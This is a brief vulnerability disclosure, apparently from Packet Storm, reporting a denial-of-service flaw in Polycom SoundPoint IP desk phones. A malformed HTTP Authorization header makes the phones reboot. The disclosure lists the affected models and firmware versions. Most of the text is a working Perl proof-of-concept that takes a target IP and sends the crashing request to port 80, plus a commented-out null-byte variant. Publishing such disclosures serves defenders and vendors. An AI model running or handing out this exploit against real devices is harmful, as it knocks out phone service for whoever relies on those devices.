Source:http://packetstormsecurity.org/files/view/97948/polycomsoundpoint-dos.txt
Hello,
Polycom SoundPoint IP devices (IP phones) are vulnerable to Denial of
Service attacks. Sending HTTP GET request with broken Authorization
header effect a device restart after ~60 seconds.
It was tested on:
SoundPoint IP 335(Version:3.2.4.1734)
SoundPoint IP 430(Version:3.2.3.1734)
SoundPoint IP 450(Version:4.2.2.0710)
Proof Of Concept:-----------------------------------------#!/usr/bin/perl
use IO::Socket;
use strict;
use warnings;if(!$ARGV[0]){print"Usage: $0 [IP]\n";
exit;}
my $socket = IO::Socket::INET->new(
Proto =>"tcp",
PeerAddr =>"$ARGV[0]",
PeerPort =>"80")|| die "Error $!";print $socket "GET /reg_1.htm HTTP/1.1\r\nAuthorization: Basic\r\n\r\n";#print $socket "GET /reg_1.htm HTTP/1.1\r\nAuthorization: Basic \0\r\n\r\n";-------------------------------------------
best regards
pawel gawinek